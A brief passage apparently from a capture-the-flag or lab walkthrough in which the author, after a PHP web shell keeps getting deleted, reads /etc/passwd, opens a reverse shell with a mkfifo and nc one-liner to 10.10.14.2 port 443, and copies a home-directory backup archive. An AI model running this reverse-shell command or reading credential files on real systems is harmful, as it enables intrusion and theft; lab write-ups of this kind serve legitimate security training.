There is some AV / firewall that is deleting the php shell evertime

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
noah:x:1000:1000:Noah:/home/noah:/bin/bash

As shell is dying out and .php file is being deleted Setting up a stable bash connection using

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.2 443 >/tmp/f

Enumerating I find home.tar.gz in /var/backups

cp home.tar.gz /tmp
tar -xf home.tar.gz
